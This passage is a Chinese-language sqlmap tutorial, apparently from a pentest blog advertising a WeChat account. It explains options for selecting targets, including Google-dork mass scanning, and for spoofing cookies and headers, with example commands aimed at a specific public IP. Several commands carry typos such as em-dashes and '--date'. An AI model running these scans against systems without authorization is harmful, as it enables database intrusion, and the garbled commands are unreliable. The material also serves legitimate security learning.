更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一
一.介绍
开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。
检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
二.基本参数
—update:更新
python sqlmap.py —update
-h:查看常用参数
python sqlmap.py -h
-hh:查看全部参数
python sqlmap.py -h
—version:查看版本
python sqlmap.py —version
-v:查看执行过程信息,默认是1,一共 0 ~ 6
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3
-d :mysql表示数据库类型、user:password表示目标服务器的账号和密码,@后表示要连接的服务器,3306表示端口,zakq_ dababasename表示连接的数据库名称
python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”
—wizard :向导式
python sqlmap.py —wizard
三.确定目标
-u “URL” :指定URL,get请求方式
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“
-m url.txt ::使用一个包含多个url的文件进行扫描。若有重复,sqlmap会自动识别成一个。
python sqlmap.py -m url.txt
-g :扫描,使用Google语法得到的url。
python sqlmap.py -g “inurl:\”.php?id=1\”
-r request.txt :Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。(BurpSuit抓包—>将请求复制到txt中即可)
python sqlmap.py -r request.txt
-l log.txt —scope=”正则表达式” :Post提交方式,使用BurpSuit的log文件。
(Options—>Misc—>Logging—>Proxy—>勾选Request ,scope的作用是 基于正则表达式去过滤日志内容,筛选需要扫描的对象。
python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”
-c sqlmap.conf :使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)
python sqlmap.py -c sqlmap.conf
-u “URL” :对于这种写法,加*号扫描
python sqlmap.py -u “http://target_url/param1/value1*/param2/value2“
四.配置目标参数
-p :指定要扫描的参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“-p “username,id”
—skip:排除指定的扫描参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”
—data:指定扫描的参数,get/post都适用
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”
—param-del:改变分隔符,默认是&,因为有些网站不实用&传递多个数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”
—cookie :使用cookie的身份认证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“—cookie=”security=low;PHPSESSID=121123
—drop-set-cookie:有时候发起请求后,服务器端会重新Set-cookie给客户端,SQLmap默认会使用新的cookie,这时候可以设置此参数,表示还是用原来的cookie。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”
—user-agent :使用浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”
—random-agent:使用随机的浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent
—host :指定主机头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”
—referer=”aaaaaa” :指定referer头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”
—headers :有些网站需要特定的头来身份验证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”
—method :指定请求方式,还有POST